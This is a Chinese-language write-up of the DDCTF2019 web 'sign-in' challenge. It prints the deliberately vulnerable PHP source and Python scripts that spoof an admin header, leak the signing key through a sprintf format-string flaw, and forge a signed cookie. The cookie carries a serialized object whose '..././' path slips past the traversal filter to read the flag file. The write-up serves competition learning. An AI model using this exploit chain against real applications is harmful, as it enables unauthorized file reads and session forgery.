DDCTF2019 WEB 签到题

这题主要考察的代码审计。这里我对服务器行为进行复现并打包好让大家进行下载:http://file.eonew.cn/ctf/web/ddctf2019_web2.zip注:比赛时config目录是不能访问的)。如果有什么问题的话,欢迎联系鄙人。

先访问看看有什么提示。

ex@Ex:~$ curl -v http://117.51.158.44/index.php
*   Trying 117.51.158.44...
* TCP_NODELAY set
* Connected to 117.51.158.44 (117.51.158.44) port 80 (#0)
> GET /index.php HTTP/1.1
> Host: 117.51.158.44
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Sun, 14 Apr 2019 11:21:22 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< 

<html>
<head>
    <head lang="en">
        <meta charset="UTF-8">
        <title>DiDiCTF</title>
        <link rel="stylesheet" href="highlight/styles/default.css">
        <script src="highlight/highlight.pack.js"></script>

    <style>
        body{TEXT-ALIGN: center;}
        center{ MARGIN-RIGHT: auto;
            MARGIN-LEFT: auto;
            height:200px;
            background: #fdfffb;
            width:600px;
            vertical-align:middle;
            line-height:500px;
        }
    </style>

    <script type="text/javascript" src="js/jquery.min.js"></script>
    <script type="text/javascript" src="js/index.js"></script>
    <script>hljs.initHighlightingOnLoad();</script>
    <body onload="auth()">
        <div class='center' id="auth">
        </div>

    </body>
</head>
</html>
* Connection #0 to host 117.51.158.44 left intact

除了一些开源库以外,就js/index.js最可疑,访问查看一下:

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

得到新的提示http://117.51.158.44/app/Auth.php。继续访问。

ex@Ex:~$ curl -v http://117.51.158.44/app/Auth.php
*   Trying 117.51.158.44...
* TCP_NODELAY set
* Connected to 117.51.158.44 (117.51.158.44) port 80 (#0)
> GET /app/Auth.php HTTP/1.1
> Host: 117.51.158.44
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Sun, 14 Apr 2019 12:30:50 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< 
* Connection #0 to host 117.51.158.44 left intact
{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}ex@Ex:~$

解析字符串后得到抱歉,您没有登陆权限,请获取权限后访问-----,猜测用户名为admin,继续访问。

#! /usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import json

url = 'http://117.51.158.44/app/Auth.php'

raw = requests.get(url,headers={'didictf_username':'admin'})
print(json.loads(raw.content.decode()))

运行结果

ex@Ex:~/test$ python3 key.py
{'errMsg': 'success', 'data': '您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'}

然后得到提示您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php。访问该网页即可得到源码。

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        `
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);

        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}

$ddctf = new Session();
$ddctf->index();

url:app/Application.php

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

通过尝试发现config目录需要401认证,否则无法查看,显然题目不会这么简单。

审计

public function index()
{
    if (parent::auth()) {
        $this->get_key();
        if ($this->session_read()) {
            $data = 'DiDI Welcome you %s';
            $data = sprintf($data, $_SERVER['HTTP_USER_AGENT']);
            parent::response($data, 'sucess');
        } else {
            $this->session_create();
            $data = 'DiDI Welcome you';
            parent::response($data, 'sucess');
        }
    }

}

程序先进行验证,然后度session,如果没有session的就设置一个。首先我们需要得到$this->eancrykey = file_get_contents('../config/key.txt');的值,下面的代码可以泄露key。

if (!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"], $this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data, $v);
    }
    parent::response($data, "Welcome");
}

这要我们设置nickname的时候在里面加上%s,那么key的值在第二次sprintf的时候就会打印出来。

#! /usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import json

url = 'http://117.51.158.44/app/Session.php'

s = requests.Session()
s.get(url,headers={'didictf_username':'admin'})
raw = s.post(url,{'nickname':'#%s#'},headers={'didictf_username':'admin'})

print(raw.content.decode())

运行实例

ex@Ex:~/test$ python3 key.py
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend #EzblrbNS#"}{"errMsg":"sucess","data":"DiDI Welcome you python-requests\/2.18.4"}

所以得到key为EzblrbNS

知道key就很简单了,直接构造我们的序列化实例就行。

这里猜测../config/flag.txt就是flag文件,在ctf比赛中有时是需要盲猜的,而且举办方也会设置的尽量好猜一点,就像上面我们猜的admin一样。

<?php
include 'Application.php';
$hacker = new Application();
$hacker->path = '../config/flag.txt';

echo serialize($hacker).PHP_EOL;

运行实例

ex@Ex:/var/www/html$ php a.php
O:11:"Application":1:{s:4:"path";s:18:"../config/flag.txt";}

但是后面发现被sanitizepath绊住了。

private function sanitizepath($path)
{
    $path = trim($path);
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    return $path;
}

可以用嵌套来绕过:

<?php
$path = "..././config/flag.txt";
echo strlen($path) . PHP_EOL;
$path = trim($path);
$path = str_replace('../', '', $path);
$path = str_replace('..\\', '', $path);
echo strlen($path) . PHP_EOL;

所以得到新的序列化字符串O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";},然后提交即可获得我们的flag。

最终脚本

#! /usr/bin/python3
# -*- coding: utf-8 -*-

import requests
import json
import hashlib
from urllib.parse import quote

url = 'http://117.51.158.44/app/Session.php'

data = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}'

data =quote( data + hashlib.md5(b'EzblrbNS' + data.encode()).hexdigest())

raw = requests.get(url,headers={'didictf_username':'admin'},cookies={'ddctf_id':data})

print(raw.content.decode())

运行实例:

ex@Ex:~/test$ python3 key.py
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

总结

不管你有多么聪明,总有人比你更聪明。如果你想变得更强,那就必须得到能得到的一切帮助。在这里我要感谢sayhiechod师傅的指点。